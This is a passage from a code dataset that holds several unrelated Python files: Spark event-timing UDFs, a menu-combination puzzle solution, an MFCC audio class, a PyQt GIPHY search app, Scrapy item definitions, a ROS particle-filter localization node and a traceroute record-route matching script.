timeDiffResult and get min - NOT USED ANY MORE\n minTime = np.argmin(abs(np.array(timeDiffResult)))\n\n #Make new col with the time ebtween said event and the nearest start Time\n otherEvents['TimeToStart'] = (timeDiffResult)\n\n\n return otherEvents\n\n\n\n\nschemaTOO = StructType([\n StructField(\"CSN\", StringType()),\n StructField(\"Good\", LongType()),\n StructField(\"Bad\", LongType())\n])\n\n@pandas_udf(schemaTOO, functionType=PandasUDFType.GROUPED_MAP)\n\ndef timeOnOff(df):\n #Order the data by time (Seconds) and get time Diff\n df = df.sort_values(['DateTime']) #start events\n DateTime = pd.to_numeric(pd.to_datetime(df['DateTime']))/1e9 #convert ns to s\n DateTimeNext = DateTime.shift(periods=-1) # -1 because we want to find the gap until the NEXT one (ie. if THIS event failed)\n\n #get event ID diff - no sort\n EventID = df['EventID']\n EventIDNext = EventID.shift(periods=-1).values\n EventID = EventID.values\n\n #Remove last row\n EventID = EventID[:-1]\n EventIDNext = EventIDNext[:-1]\n\n EventIDDiff = abs(EventIDNext - EventID)\n #Good where start-shut-start-shut\n good = sum(EventIDDiff)\n bad = len(EventIDDiff) - good\n\n gr = df['CSN'].iloc[0]\n default_df = pd.DataFrame([[gr,good,bad]])\n return default_df\n\n\n\n\n##SHUT TIMES UDF\nschemaShT = StructType([\n StructField(\"CSN\", StringType()),\n StructField(\"EventID\", LongType()),\n StructField(\"DateTime\", StringType())\n])\n@pandas_udf(schemaShT, functionType=PandasUDFType.GROUPED_MAP)\ndef shutTimes(df):\n gr = df['CSN'].iloc[0]#used for the default returned dataframe if no data being returned\n EventID = 65534\n events = df[df['EventID']==EventID].sort_values(['DateTime']) #start events\n DateTime = pd.to_numeric(pd.to_datetime(events['DateTime']))/1e9 #convert ns to s\n DateTimeNext = DateTime.shift(periods=-1) # -1 because we want to find the gap until the NEXT one (ie. if THIS event failed)\n time_diff = (DateTimeNext-DateTime)\n df_less15m = events[((time_diff>(10*60)) | (time_diff.isnull()))]#more than 30 min\n default_df = pd.DataFrame([[gr,EventID,'None']])\n if len(df_less15m.index)>0:\n return_df = pd.DataFrame(df_less15m[['CSN','EventID','DateTime']])\n #reset column names, this needs to be done otherwise it won't match the schema above. It works when we do .mean() etc\n #because that doesn't give a named column when we create the dataframe, whereas this does.\n return_df = return_df.T.reset_index(drop=True).T #this feels hacky\n return return_df\n else:\n return default_df\n\n\n","sub_path":"TrainDNAFunctions.py","file_name":"TrainDNAFunctions.py","file_ext":"py","file_size_in_byte":9352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"323432824","text":"from itertools import combinations\nfrom collections import Counter\ndef solution(orders, course):\n answer = []\n for k in course: #코스요리의 단품 주문 종류 ex) [2,3,4] -> AB... / ADF... / ABCD...\n candidates = []\n for menu_li in orders:\n for li in combinations(menu_li, k): #iterable한 자료를 중복되지 않는 k 크기의 조합들로 만든다.(순열과는 다름.)\n res = ''.join(sorted(li)) #만들어진 k크기의 조합을 알파벳순으로 정렬해서 문자열로 만든다.\n candidates.append(res) #만들어진 문자열은 코스요리 추가 후보로 리스트에 추가한다.\n sorted_candidates = Counter(candidates).most_common()\n #코스요리 추가 후보 리스트를 Counter객체로 만든후 가장 많이 주문된 순으로 나열한다. ex) (AB,4),(AF,3)....\n answer += [menu for menu, cnt in sorted_candidates if cnt > 1 and cnt == sorted_candidates[0][1]]\n #가장 많이 주문된 순으로 정렬된 코스요리 리스트중에서 가장 많이 주문된 메뉴를 answer 리스트에 추가한다.\n #if cnd > 1 -> 가장 많이 주문되었더라도 1번 주문은 제외\n # and cnt == sorted_candates[0][1] -> 제일 많이 주문된 메뉴의 sorted_candates[0][1]은 주문횟수\n return sorted(answer) #알파벳순으로 정렬하여 return\n\n# n = list(input().split())\n# m = list(map(int,input().split()))\n# print(solution(n,m))\n\n# ABCFG AC CDE ACDE BCFG ACDEH\n# 2 3 4","sub_path":"2.메뉴_리뉴얼.py","file_name":"2.메뉴_리뉴얼.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"498631813","text":"\nfrom .base import Representation\n\nfrom acousticsim.exceptions import AcousticSimError\nfrom acousticsim.analysis.mfcc import file_to_mfcc, file_to_mfcc_praat\n\n\nclass Mfcc(Representation):\n \"\"\"\n Mel frequency cepstrum coefficient representation of a sound.\n\n Parameters\n ----------\n file_path : str\n Filepath of wav file to process\n\n min_freq : int\n Minimum frequency in Hertz\n\n max_freq : int\n Maximum frequency in Hertz\n\n num_coeffs : int\n Number of cepstrum coefficients\n\n win_len : float\n Window length in seconds\n\n time_step : float\n Time step between successive frames\n\n num_filters : int, defaults to 26\n Number of triangular filters in the filterbank\n\n use_power : bool, defaults to True\n Flag for keeping first cepstrum coefficient, which corresponds\n to the power in the frame\n\n deltas : bool, defaults to False\n Flag to calculate the delta coefficients\n \"\"\"\n _is_windowed = True\n\n def __init__(self, file_path, win_len, time_step, min_freq=80, max_freq=7800,\n num_filters=26, num_coeffs=13, use_power=True, deltas=False, data=None, attributes=None):\n Representation.__init__(self, file_path, data, attributes)\n self.min_freq = min_freq\n self.max_freq = max_freq\n self.num_coeffs = num_coeffs\n self.ranges = [None] * self.num_coeffs\n self.win_len = win_len\n self.time_step = time_step\n self.num_filters = num_filters\n self.use_power = use_power\n self.deltas = deltas\n\n def process(self, algorithm='rastamat', executable_path=None, reset=False):\n if algorithm not in ['rastamat', 'praat']:\n raise AcousticSimError('Formant algorithm must be one of: lpc, praat')\n if reset:\n self.data = {}\n if self.data:\n raise AcousticSimError('Data already exists for this representation, use reset=True to generate new data.')\n if algorithm == 'rastamat':\n data = file_to_mfcc(self.file_path, self.win_len, self.time_step, self.min_freq, self.max_freq,\n self.num_filters, self.num_coeffs, self.use_power, self.deltas)\n else:\n data = file_to_mfcc_praat(self.file_path, executable_path, self.win_len, self.time_step,\n self.min_freq, self.max_freq,\n self.num_filters, self.num_coeffs, self.use_power, self.deltas)\n self.data = data\n\n def norm_amp(self, new_ranges):\n \"\"\"\n Normalize the ranges of coefficients to a set of ranges.\n\n Parameters\n ----------\n new_ranges : list of tuple\n New ranges for each coefficient to normalize to\n\n \"\"\"\n for i, r in enumerate(new_ranges):\n new_min, new_max = r\n if self.ranges[i] is None:\n old = [x[i] for x in self.data.values()]\n self.ranges[i] = [min(old), max(old)]\n for k, v in self.data.items():\n normed = (v[i] - self.data[i][0]) / (self.data[i][1] - self.data[i][0])\n self.data[k][i] = (normed * (new_max - new_min)) + new_min\n","sub_path":"acousticsim/representations/mfcc.py","file_name":"mfcc.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"195793798","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'ipetrash'\n\n\n# SOURCE: https://ru.stackoverflow.com/q/1134473/201445\n\n\nimport json\nimport time\nimport sys\nfrom pathlib import Path\n\nimport requests\n\nfrom PyQt5.QtWidgets import (\n QApplication, QMainWindow, QVBoxLayout, QHBoxLayout, QFrame, QMessageBox,\n QLineEdit, QPushButton, QLabel, QScrollArea, QWidget, QGridLayout\n)\nfrom PyQt5.QtCore import QThread, pyqtSignal, Qt, QRegExp\nfrom PyQt5.QtGui import QRegExpValidator, QMovie\n\nfrom config import GIPHY_API_KEY\n\n# Absolute file name\nTEMP_DIR = Path(__file__).resolve().parent / 'temp'\nTEMP_DIR.mkdir(exist_ok=True)\n\n\ndef log_uncaught_exceptions(ex_cls, ex, tb):\n text = '{}: {}:\\n'.format(ex_cls.__name__, ex)\n import traceback\n text += ''.join(traceback.format_tb(tb))\n\n print(text)\n QMessageBox.critical(None, 'Error', text)\n sys.exit(1)\n\n\nsys.excepthook = log_uncaught_exceptions\n\n\nclass SearchGifThread(QThread):\n SITE_URL = 'https://api.giphy.com/v1'\n\n about_add_gif = pyqtSignal(dict)\n\n def __init__(self, name_gif=None):\n super().__init__()\n\n self.name_gif = name_gif\n\n def get_gif(self) -> dict:\n url = f'{SearchGifThread.SITE_URL}/gifs/search?api_key={GIPHY_API_KEY}&q={self.name_gif}'\n\n try:\n rs = requests.get(url)\n rs.raise_for_status()\n\n data = json.loads(rs.content.decode('utf-8'))['data']\n if not data:\n # TODO: emit 'not found' to MainWindow\n data = {'error': 1}\n return data\n\n return data\n\n except Exception as err:\n # TODO: emit error to MainWindow\n print(err)\n\n return {'error': 1}\n\n def _process_gif(self, data: dict, index: int) -> dict:\n url_gif = data[index]['images']['fixed_width']['url']\n image_rs = requests.get(url_gif)\n image_rs.raise_for_status()\n\n file_name = TEMP_DIR / f\"img{index}.gif\"\n with open(file_name, 'wb') as f:\n f.write(image_rs.content)\n\n data = {'row': index // 3, 'col': index % 3, 'error': None, 'file_name': str(file_name)}\n return data\n\n def run(self):\n data = self.get_gif()\n if 'error' in data:\n # TODO: emit error to MainWindow\n return\n\n for i in range(20):\n data_gif = self._process_gif(data, i)\n self.about_add_gif.emit(data_gif)\n\n time.sleep(1)\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.width = self.size().width()\n self.height = self.size().height()\n self.left = 200\n self.top = 300\n self.title = 'Gif Manager'\n\n self.search_gif_thread = SearchGifThread()\n self.search_gif_thread.started.connect(self.on_start)\n self.search_gif_thread.finished.connect(self.on_finish)\n self.search_gif_thread.about_add_gif.connect(self.add_gif)\n\n self.init_window()\n self.init_ui()\n\n self.gif_edit.setText('cat')\n\n def init_window(self):\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.setWindowTitle(self.title)\n\n def init_ui(self):\n root_layout = QVBoxLayout()\n gif_data_layout = QHBoxLayout()\n gif_data_layout.setAlignment(Qt.AlignTop)\n self.gif_data_frame = QFrame()\n self.gif_edit = QLineEdit()\n self.gif_edit.returnPressed.connect(self.search_gif)\n regex = QRegExp('[a-z-A-Z]+')\n validator = QRegExpValidator(regex)\n self.gif_edit.setValidator(validator)\n self.gif_edit.setPlaceholderText('Enter name gif')\n gif_search_button = QPushButton('Search gif')\n gif_search_button.clicked.connect(self.search_gif)\n gif_data_layout.addWidget(self.gif_edit)\n gif_data_layout.addWidget(gif_search_button)\n self.gif_data_frame.setLayout(gif_data_layout)\n root_layout.addWidget(self.gif_data_frame)\n self.info_label = QLabel('Something went wrong. Check that the request was made correctly.')\n self.info_label.setAlignment(Qt.AlignHCenter)\n self.info_label.hide()\n root_layout.addWidget(self.info_label)\n self.scroll = QScrollArea()\n self.scroll.setStyleSheet('background: rgba(255, 255, 255, 30%);')\n self.scroll.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)\n self.scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.scroll.setWidgetResizable(True)\n scrollWidget = QWidget()\n self.gifs_layout = QGridLayout()\n scrollWidget.setLayout(self.gifs_layout)\n self.scroll.setWidget(scrollWidget)\n root_layout.addWidget(self.scroll)\n root_widget = QWidget()\n root_widget.setLayout(root_layout)\n self.setCentralWidget(root_widget)\n\n def on_finish(self):\n self.gif_data_frame.show()\n\n def on_start(self):\n self.info_label.hide()\n self.scroll.show()\n self.gif_data_frame.hide()\n\n def search_gif(self):\n # TODO: replace on QListWidget\n for i in range(self.gifs_layout.count()):\n self.gifs_layout.itemAt(i).widget().deleteLater()\n\n self.search_gif_thread.name_gif = self.gif_edit.text()\n self.search_gif_thread.start()\n\n def add_gif(self, data):\n if data['error']:\n self.gif_data_frame.show()\n self.scroll.hide()\n self.info_label.show()\n return\n\n row, col, error, file_name = data.values()\n movie = QMovie(file_name)\n movie.setSpeed(200)\n label_gif = QLabel()\n label_gif.setMovie(movie)\n movie.start()\n\n self.gifs_layout.addWidget(label_gif, row, col)\n label_gif.show()\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n\n mw = MainWindow()\n mw.show()\n\n sys.exit(app.exec_())\n","sub_path":"qt__pyqt__pyside__pyqode/GIPHY__gif/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404298654","text":"# -*- coding: utf-8 -*-\n\nfrom scrapy.item import Item, Field\nfrom scrapy.loader import ItemLoader\nfrom scrapy.loader.processors import TakeFirst, MapCompose, Join\n\nclass LeboncoinItem(Item):\n doc_id = Field()\n doc_url = Field()\n \n title = Field()\n desc = Field()\n c = Field()\n \n img_urls = Field()\n thumb_urls = Field()\n \n user_url = Field()\n user_id = Field()\n user_name = Field()\n\n upload_date = Field()\n upload_epoch = Field()\n \n check_date = Field()\n check_epoch = Field()\n\n urg = Field()\n premium = Field()\n \n\n region = Field()\n addr_locality = Field()\n location = Field()\n","sub_path":"scrapy/leboncoin/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"482796400","text":"#!/usr/bin/env python\n\n#-----------------------------------------------------------------------------\n# University of California Berkeley\n# Department of Mechanical Engineering\n# Model Predictive Control Laboratory\n#\n# Capstone Project 2015-2016:\n# Fault-Tolerant Control in Autonomous Driving - Team A (Localization)\n#\n# Team-Members : Leo Li\n# Joe Wu\n# Byunghyun Shin\n# Kilian Schindler\n#\n# Supervisors : Francesco Borrelli (Prof. Dr.)\n# Ashwin Carvalho\n#-----------------------------------------------------------------------------\n#\n# ABOUT THIS FILE\n# This file is going to be the ROS node executing the particle filter. However,\n# it still needs to be implemented.\n#\n# REVISION HISTORY\n# [Mar 18, 2016] created\n# [Mar 30, 2016] work in progress - left to do:\n# 1.) read in V_lateral_meas and dot_Psi_mes\n# 2.) think about what to do if other meaurements than GPS\n# are not available\n# 3.) what if computation takes more than allotted time\n#\n#-----------------------------------------------------------------------------\n\n\n\nimport rospy\nimport numpy as np\nfrom std_msgs.msg import String, Float64, Int32\nfrom localize.msg import LaneMeasure\nfrom geometry_msgs.msg import Pose2D\nimport LPF_functions_rosnode as pf\nimport logging\n\n\n\nlogging.basicConfig(filename='/home/mpc/Localization/workspace/src/localize/log/test1.log',level=logging.DEBUG)\n\n\n\nX_meas = 0.\nY_meas = 0.\nPsi_meas = 0.\ndot_Psi_meas = 0.\nV_straight_meas = 0.\nV_lateral_meas = 0.\ndel_f_meas = 0.\n\na_r0 = 0.\na_r1 = 0.\na_r2 = 0.\na_r3 = 0.\na_r_quality = 0.\n\na_l0 = 0.\na_l1 = 0.\na_l2 = 0.\na_l3 = 0.\na_l_quality = 0.\n\nGPS_available = 0\nV_straight_available = 0\ndel_f_available = 0\nV_lateral_available = 0\ndot_Psi_available = 0\nRightLane_available = 0\nLeftLane_available = 0\n\n\n\n##############################################################################\n## ----------------- ADJUST PARTICLE FILTER SETTINGS HERE ----------------- ##\n## vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv ##\n\n\n## 1.) Iteration Frequency [Hz]\n################################\nfrequency = 50\n\n\n## 2.) Track Data (un-comment one option below)\n################################################\n#filepath = '../../../../Data Files/CAN/CPG_Oval/t1.mat'\n#filepath = '../../../../Data Files/CAN/CPG_WindingTrack/WT_LSRL_clean.mat'\n\n\n## 3.) Origin of GPS coordinate frame\n#######################################\nGPS_Pos0 = [-118.0266,35.0536]\n\n\n## 4.) Model and Sensor Setting\n################################\nactivate_DynamicModel = 1\nactivate_LaneMeas = 1\n\n\n## 5.) GPS Acceptance Settings\n###############################\nGPS_accept_interval = 10\nGPS_deny_interval = 100\nactivate_GPS_reset = 1\n\n\n## 6.) Filter Parameters\n##########################\n\n# number of particles\nnum_particles = 100\n\n# bias of V_lateral signal (guessed by Ashwin, needs to be measured)\ngps_V_lateral_bias = 0.02\n\n# standard deviation of process noise for dt = 0.02s\nstraight_position_noise = 0.01 # tuned ('run_LPF_OverallParamTuning.m')\nturn_position_noise = 0.0005 # tuned ('run_LPF_OverallParamTuning.m')\nlateral_velocity_noise = 0.1 # tuned ('run_LPF_OverallParamTuning.m')\nturn_velocity_noise = 0.0001 # tuned ('run_LPF_OverallParamTuning.m')\n\n# standard deviation of measurement noise\ngps_X_noise = 0.03 # tuned ('run_LPF_OverallParamTuning.m')\ngps_Y_noise = 0.03 # tuned ('run_LPF_OverallParamTuning.m')\ngps_Psi_noise = 0.002 # tuned ('run_LPF_OverallParamTuning.m')\ngps_V_lateral_noise = 0.002 # tuned ('run_LPF_OverallParamTuning.m')\ndot_Psi_noise = 0.005 # tuned ('run_LPF_OverallParamTuning.m')\na_r0_noise = 0.005 # tuned ('run_LPF_OverallParamTuning.m')\na_l0_noise = 0.005 # tuned ('run_LPF_OverallParamTuning.m')\na_r1_noise = 0.0005 # tuned ('run_LPF_OverallParamTuning.m')\na_l1_noise = 0.0005 # tuned ('run_LPF_OverallParamTuning.m')\n\n# vehicle parameters\nmass = 1840.0 # [kg] mass of test vehicle\nIzz = 3477.0 # [kg*m^2] yaw moment of inertia\nlf = 1.105 # [m] distance from center of mass to front axis\nlr = 1.738 # [m] distance from center of mass to rear axis\n\n# Pacejka tire model parameters\nB_f = 0.1447\nB_r = 0.1678\nC_f = 0.1463\nC_r = 0.1709\nD_f = 1.9227e6\nD_r = 2.2490e6\nE_f = -0.3782\nE_r = -0.4420\n\n# thresholds for different functions\nPsi_rel_threshold = 1e-6 # maximum Psi_rel to be considered aligned [rad]\nLane_threshold = 5 # maximum acceptable distance to lanes [m]\nDynamicModel_threshold = 5 # minimum velocity to run dynamic model [m/s]\n\n# fraction of particles receiving throughput measurements\nfrac_through = 0.1\n\n\n## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ##\n## ----------------- ADJUST PARTICLE FILTER SETTINGS HERE ----------------- ##\n##############################################################################\n\n\n\n# create GPS_available vector (determines access to GPS measurements) and initialize GPS_count\nGPS_accept = np.concatenate((np.ones(GPS_accept_interval),np.zeros(GPS_deny_interval)),axis=0)\nGPS_count = -1.\n\n\n\ndef callback1(pose):\n global X_meas, Y_meas, Psi_meas, GPS_available\n X_meas = pose.x\n Y_meas = pose.y\n Psi_meas = pose.theta\n GPS_available = 1\n #rospy.loginfo(\"Received GPS measurement.\")\n\ndef callback2(speed_straight):\n global V_straight_meas, V_straight_available\n V_straight_meas = speed_straight.data\n V_straight_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Velocity = %f\\n\", v)\n\ndef callback3(sas):\n global del_f_meas, del_f_available\n del_f_meas = sas.data\n del_f_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Steering Angle = %f\\n\", del_f)\n \ndef callback4(speed_lateral):\n global V_lateral_meas, V_lateral_available\n V_lateral_meas = speed_lateral.data\n V_lateral_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Steering Angle = %f\\n\", del_f)\n \ndef callback5(dot_Psi):\n global dot_Psi_meas, dot_Psi_available\n dot_Psi_meas = dot_Psi.data\n dot_Psi_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Steering Angle = %f\\n\", del_f)\n\ndef callback6(leftLane):\n global a_l0, a_l1, a_l2, a_l3, a_l_quality, LeftLane_available\n #left = (leftLane.a0,leftLane.a1,leftLane.a2,leftLane.a3,leftLane.quality)\n a_l0 = leftLane.a0\n a_l1 = leftLane.a1\n a_l2 = leftLane.a2\n a_l3 = leftLane.a3\n a_l_quality = leftLane.quality\n LeftLane_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Left lane measurements received\\n\")\n\ndef callback7(rightLane):\n global a_r0, a_r1, a_r2, a_r3, a_r_quality, RightLane_available\n #right = (rightLane.a0,rightLane.a1,rightLane.a2,rightLane.a3,rightLane.quality)\n a_r0 = rightLane.a0\n a_r1 = rightLane.a1\n a_r2 = rightLane.a2\n a_r3 = rightLane.a3\n a_r_quality = rightLane.quality\n RightLane_available = 1\n #rospy.loginfo(rospy.get_caller_id() + \"Right lane measurements received\\n\")\n\n\ndef location_sender():\n global GPS_count, GPS_available, V_straight_available, del_f_available, V_lateral_available, dot_Psi_available, RightLane_available, LeftLane_available\n \n # initialize node\n rospy.init_node('location_sender', anonymous=True)\n \n # subscriptions\n # once location_sender receives the data it uses callback functions to update the variables\n rospy.Subscriber(\"pose\", Pose2D, callback1) \n rospy.Subscriber(\"speed_straight\", Float64, callback2)\n rospy.Subscriber(\"sas\", Float64, callback3)\n rospy.Subscriber(\"speed_lateral\", Float64, callback4)\n rospy.Subscriber(\"dot_Psi\", Float64, callback5)\n rospy.Subscriber(\"leftLane\", LaneMeasure,callback6)\n rospy.Subscriber(\"rightLane\",LaneMeasure,callback7)\n\n # publications\n pub = rospy.Publisher('location', Pose2D, queue_size=10)\n pub2 = rospy.Publisher('runtime', Int32, queue_size=10)\n \n # define filter rate\n rate = rospy.Rate(frequency) # 50hz\n \n \n \n # run localization particle filter\n while not rospy.is_shutdown():\n\n\n tic = rospy.get_rostime()\n \n \n GPS_count = (GPS_count+1) % (GPS_accept_interval+GPS_deny_interval)\n\n \n (X_estimate, Y_estimate, Psi_estimate) = pf.LPF_main( \\\n 1.0/frequency, num_particles, GPS_available*GPS_accept[GPS_count], \\\n activate_LaneMeas, activate_DynamicModel, activate_GPS_reset, \\\n X_meas, Y_meas, Psi_meas, dot_Psi_meas, \\\n V_straight_meas, V_lateral_meas, del_f_meas, \\\n a_r0, a_r1, a_r2, a_r3, a_r_quality, \\\n a_l0, a_l1, a_l2, a_l3, a_l_quality, \\\n straight_position_noise, turn_position_noise, lateral_velocity_noise, turn_velocity_noise, \\\n gps_X_noise, gps_Y_noise, gps_Psi_noise, gps_V_lateral_noise, dot_Psi_noise, \\\n a_r0_noise, a_l0_noise, a_r1_noise, a_l1_noise, \\\n gps_V_lateral_bias, mass, Izz, lf, lr, \\\n Psi_rel_threshold, Lane_threshold, DynamicModel_threshold, \\\n B_f, B_r, C_f, C_r, D_f, D_r, E_f, E_r, \\\n np.floor(frac_through*num_particles))\n \n \n toc = rospy.get_rostime()\n difference = (toc.nsecs - tic.nsecs)\n rospy.loginfo(\"%i\\n\",difference)\n \n \n \n #dif = str(difference)\n #logging.info(\"%s\\n\",dif)\n pose_estimate = Pose2D(X_estimate,Y_estimate,Psi_estimate) #Assign particle filter output to the message for publishing\n #rospy.loginfo(pose_out) # log the output from particle filter\n pub.publish(pose_estimate) # Publish the output from particle filter\n pub2.publish(difference)\n \n \n \n # reset GPS arrived flag to 0\n GPS_available = 0\n V_straight_available = 0\n del_f_available = 0\n V_lateral_available = 0\n dot_Psi_available = 0\n RightLane_available = 0\n LeftLane_available = 0\n \n \n\n # sleep for rest of time \n rate.sleep()\n\n\n\nif __name__ == '__main__':\n try:\n location_sender()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"workspace/src/localize/scripts/LPF_rosnode.py","file_name":"LPF_rosnode.py","file_ext":"py","file_size_in_byte":10116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"530875447","text":"import ipaddress\nimport argparse\nimport sys\nfrom mysql.connector import connect\nfrom atlas.atlas_database import get_connection, get_select_alias_query, get_alias_sets\n\n\ndef get_vps():\n database = \"plcontroller\"\n query = (\n f\" SELECT ip, site FROM {database}.vantage_point \"\n )\n # print(query)\n\n # Get the connection to\n connection = get_connection(database)\n cursor = connection.cursor()\n cursor.execute(query, )\n rows = cursor.fetchall()\n vps = []\n for row in rows:\n ip, site = row\n vps.append(ip)\n cursor.close()\n connection.close()\n return vps\n\n\ndef check_destination_based_routing(tr_hops, tr_hop_ping_id_rr_hops):\n '''\n Perform a sanity check that next rr hop of current tr_hop is contained in the next tr_hop RR\n :param tr_hop_ping_id_rr_hops:\n :return:\n '''\n for i, tr_hop in enumerate(tr_hops):\n if tr_hop not in tr_hop_ping_id_rr_hops:\n continue\n # Is this hop in a tunnel?\n # Look at next hop\n\n # for dst_tr_hop, ping_id_rr_hops in :\n\n\ndef flatten_connected(successors_per_hop):\n for hop in successors_per_hop:\n successors = successors_per_hop[hop]\n prev_successors = set()\n while len(successors) != len(prev_successors):\n prev_successors = set(successors)\n new_successors = set(successors)\n for successor in successors:\n if successor in successors_per_hop:\n new_successors.update(successors_per_hop[successor])\n successors = new_successors\n successors_per_hop[hop] = successors\n\ndef compute_pred_succ_constraints(tr_hop_ping_id_rr_hops):\n '''\n Ugly implementation to find successors and predecessors of hops in RR\n :param tr_hop_ping_id_rr_hops:\n :return:\n '''\n predecessors_per_hop = {}\n successors_per_hop = {}\n for tr_hop, ping_id_rr_hops in tr_hop_ping_id_rr_hops.items():\n for _, rr_hops in ping_id_rr_hops.items():\n rr_hops = sorted(rr_hops, key=lambda x: x[1])\n for i in range(len(rr_hops)):\n rr_hop_i, _ = rr_hops[i]\n for j in range(i+1, len(rr_hops)):\n rr_hop_j, _ = rr_hops[j]\n predecessors_per_hop.setdefault(rr_hop_j, set()).add(rr_hop_i)\n successors_per_hop.setdefault(rr_hop_i, set()).add(rr_hop_j)\n\n # Flatten the predecessors so that every hop has the full set of predecessors/successors.\n flatten_connected(successors_per_hop)\n flatten_connected(predecessors_per_hop)\n\n return predecessors_per_hop, successors_per_hop\n\n\ndef match_rr_tr_hops(cursor, ips_for_alias_set, rr_hops_per_tr_id, tr_hops_per_tr_id, with_p2p):\n # Get the alias of all the IPs seen in the traceroutes\n alias_set_by_ip = get_alias_sets(tuple(ips_for_alias_set))\n\n # For each rr hop, a subpath corresponding to the potential intersection\n rr_intersection_rows_to_insert = []\n for tr_id, tr_hop_ping_id_rr_hops in rr_hops_per_tr_id.items():\n # if tr_id != 2467:\n # continue\n predecessors_per_hop, successors_per_hop = compute_pred_succ_constraints(tr_hop_ping_id_rr_hops)\n # print(tr_id)\n intersects_per_rr_hop = {}\n # Index per tr hop for faster retrieve\n tr_hops = tr_hops_per_tr_id[tr_id]\n tr_hops.sort(key=lambda x: x[1])\n index_per_tr_hop = {tr_hop[0]: i for i, tr_hop in enumerate(tr_hops)}\n\n aliases_tr = {alias_set_by_ip[hop[0]]: hop[0] for hop in tr_hops if hop[0] in alias_set_by_ip}\n p2p_tr = {str(ipaddress.ip_network(str(ipaddress.ip_address(hop[0])) + \"/30\", strict=False)): tr_hops[i - 1][0]\n for i, hop in enumerate(tr_hops)\n if i > 0\n }\n if with_p2p:\n aliases_tr.update(p2p_tr)\n # Two types of constraints\n # Alias and p2p link\n for dst_tr_hop, ping_id_rr_hops in tr_hop_ping_id_rr_hops.items():\n for ping_id, rr_hops in ping_id_rr_hops.items():\n # Sort the rr hops by their index\n rr_hops = sorted(rr_hops, key=lambda x: x[1])\n # Get the aliases in rr and tr hops\n matches_rr = [(i, hop[0], aliases_tr[alias_set_by_ip[hop[0]]], \"alias\")\n for i, hop in enumerate(rr_hops)\n if hop[0] in alias_set_by_ip\n and alias_set_by_ip[hop[\n 0]] in aliases_tr # Case where the rr hop is in another alias set not present in tr\n and hop[0] not in index_per_tr_hop\n ]\n if with_p2p:\n matches_p2p_rr = [(i, hop[0],\n aliases_tr[str(ipaddress.ip_network(str(ipaddress.ip_address(hop[0])) + \"/30\",\n strict=False))],\n \"p2p\")\n for i, hop in enumerate(rr_hops)\n if str(\n ipaddress.ip_network(str(ipaddress.ip_address(hop[0])) + \"/30\", strict=False)) in p2p_tr\n and hop[0] not in index_per_tr_hop]\n matches_rr.extend(matches_p2p_rr)\n matches_rr.sort(key=lambda x: x[0])\n\n for i, rr_hop in enumerate(rr_hops):\n if rr_hop[0] in index_per_tr_hop:\n continue\n previous_tr_hop = index_per_tr_hop[dst_tr_hop]\n next_hop_rr_alias = None\n for j, _, alias_tr, from_ in matches_rr:\n # Find the closest tr hops before and after this rr hop.\n if i == j:\n previous_tr_hop = index_per_tr_hop[alias_tr]\n next_hop_rr_alias = previous_tr_hop\n break\n elif i > j:\n candidate_previous_tr_hop_index = index_per_tr_hop[alias_tr]\n if candidate_previous_tr_hop_index > previous_tr_hop:\n previous_tr_hop = candidate_previous_tr_hop_index\n elif i < j:\n # It is a candidate after the RR hop, so the closest after the RR hop\n next_hop_rr_alias = index_per_tr_hop[alias_tr]\n break\n\n if next_hop_rr_alias is None:\n next_hop_rr_alias = max(index_per_tr_hop.values())\n if rr_hop[0] not in intersects_per_rr_hop:\n intersects_per_rr_hop[rr_hop[0]] = previous_tr_hop, next_hop_rr_alias\n else:\n # Look if we found a smaller subpath\n current_previous_tr_hop, current_next_tr_hop = intersects_per_rr_hop[rr_hop[0]]\n if previous_tr_hop > current_previous_tr_hop:\n current_previous_tr_hop = previous_tr_hop\n if next_hop_rr_alias < current_next_tr_hop:\n current_next_tr_hop = next_hop_rr_alias\n intersects_per_rr_hop[rr_hop[0]] = current_previous_tr_hop, current_next_tr_hop\n\n # Use the constraints found with the successors, predecessors of the rr_hop to see\n # if we can do better\n intersects_per_rr_hop_with_pred_succ = {}\n for rr_hop in intersects_per_rr_hop:\n previous_tr_hop, next_tr_hop = intersects_per_rr_hop[rr_hop]\n if rr_hop in successors_per_hop:\n succ_tr_hop = [intersects_per_rr_hop[successor][1] for successor in successors_per_hop[rr_hop] if\n successor in intersects_per_rr_hop]\n if len(succ_tr_hop) > 0:\n min_succ_tr_hop = min(succ_tr_hop)\n if min_succ_tr_hop < next_tr_hop:\n next_tr_hop = min_succ_tr_hop\n if rr_hop in predecessors_per_hop:\n pred_tr_hop = [intersects_per_rr_hop[predecessor][0] for predecessor in predecessors_per_hop[rr_hop] if\n predecessor in intersects_per_rr_hop]\n if len(pred_tr_hop) > 0:\n max_pred_tr_hop = max(pred_tr_hop)\n if max_pred_tr_hop > 